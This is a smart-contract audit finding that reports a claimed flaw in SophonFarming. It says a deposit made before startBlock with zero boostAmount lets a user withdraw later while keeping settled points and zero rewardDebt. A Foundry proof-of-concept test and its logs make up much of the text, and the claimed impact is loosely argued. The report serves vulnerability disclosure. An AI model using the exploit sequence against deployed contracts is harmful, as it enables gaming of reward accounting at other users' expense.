

The farming contract accepts deposits before startBlock & allows to set 0 boostAmount while depositing, so any user can avoid rewardDebt and gain adequate points according to his deposit

Summary

The `SophonFarming::_deposit()` allows any user to deposit before startBlock & set boostAmount to 0, so the user can deposit before the startBlock and withdraw all of his deposit after any block of startBlock, by doing this he will get his points & completely bypass his rewardDebt.

Vulnerability Detail

Assume, current block is 1 & startBlock is 2, an user wanna deposit 1_000_000e18 amount of sDAI. He deposited that before the startBlock. Now in `_deposit()`, `updatePool()` is called to get updated `accPointsPerShare` & `lastRewardBlock`. As the user called the `_deposit()` before startBlock the `updatePool()` will not do anything but simply return because of this condition:

```
if (getBlockNumber() <= pool.lastRewardBlock) {
    return;
}
```

Now, in `_deposit()`, `user.rewardSettled` will be 0 because as the user did not deposit anything before so `user.amount` is 0, the `pool.accPointsPerShare` will also be 0. `user.rewardSettled` & `user.rewardDebt` will also be 0 because of same reason i.e no previous deposit. Then at last of the `_deposit()` the `user.rewardDebt` will be updated again, here again it will be 0 because `pool.accPointsPerShare` is 0.

At this point: `pool.amount = 1_000_000e18` `user.amount = 1_000_000e18`

At block 3 the user called `SophonFarming::withdraw()` to withdraw all of his deposit. In this function, when `updatePool()` is called it will update the `pool.accPointsPerShare` to a value & `lastRewardBlock` to current block i.e 3. Now here, `user.rewardSettled` will have a value because both `user.amount` & `pool.accPointsPerShare` has some value. Here, the user had his `boostAmount` 0 while depositing, for that reason `user.depositAmount` & `user.amount` is same. So, the `depositAmount` is deducted from the `user.amount` and sent to the user:

```
@> SophonFarming::withdraw()
// codes
userAmount = userAmount - _withdrawAmount;
//codes
pool.lpToken.safeTransfer(msg.sender, _withdrawAmount);
//codes
```

At this point user.amount is 0. Now at the end of withdraw() when rewardDebt is updated the user.amount is multiplied by accPointsPerShare, but as user.amount is 0 rewardDebt will be 0. Now, the user staying in the protocol with points and 0 reward debt.

PoC

Paste this test in SophonFarming.t.sol & run:

```

function test_depositBeforeStartBlock() public {
    vm.roll(0); // @audit setting block.number before startBlock
    assertEq(block.number, 0);
    assertEq(sophonFarming.startBlock() - 1, block.number); // @note startBlock == 1
    SophonFarmingState.UserInfo memory userInfo;
    uint256 daiPID =
        sophonFarming.typeToId(SophonFarmingState.PredefinedPool.sDAI);
    deal(address(sDAI), account1, 1_000_000_000e18);
    vm.startPrank(account1);
    sDAI.approve(address(sophonFarming), 1_000_000_000e18);
    sophonFarming.deposit(daiPID, 1_000_000_000e18, 0);
    vm.stopPrank();
    SophonFarmingState.PoolInfo[] memory pools =
        sophonFarming.getPoolInfo();
    console.log("pool.amount: ", pools[daiPID].amount);
    (userInfo.amount, userInfo.boostAmount, userInfo.depositAmount,
     userInfo.rewardSettled, userInfo.rewardDebt) =
        sophonFarming.userInfo(daiPID, account1);
    console.log("user.amount: ", userInfo.amount);
    console.log("user.depositAmount: ", userInfo.depositAmount);
    assertEq(userInfo.rewardSettled, 0);
    assertEq(pools[daiPID].accPointsPerShare, 0);
    vm.roll(2); // @audit now we are in block 2,
    console.log("-----");
    console.log("---- AFTER CHANGING BLOCK ----");
    console.log("-----");
    vm.prank(account1);
    sophonFarming.withdraw(daiPID, userInfo.depositAmount);
    SophonFarmingState.PoolInfo[] memory pools2 =
        sophonFarming.getPoolInfo();
    console.log("pool.amount: ", pools2[daiPID].amount);
    (userInfo.amount, userInfo.boostAmount, userInfo.depositAmount,
     userInfo.rewardSettled, userInfo.rewardDebt) =
        sophonFarming.userInfo(daiPID, account1);
    console.log("user.amount: ", userInfo.amount);
    console.log("user.rewardSettled: ", userInfo.rewardSettled);
    console.log("user.rewardDebt: ", userInfo.rewardDebt);
}

```

Result:

```
Logs:  
pool.amount: 10000000000000000000000000000000  
user.amount: 10000000000000000000000000000000  
user.depositAmount: 10000000000000000000000000000000  
-----  
---- AFTER CHANGING BLOCK ----  
-----  
pool.amount: 0  
user.amount: 0  
user.rewardSettled: 833333333000000000  
user.rewardDebt: 0
```

Impact

User will avoid rewardDebt.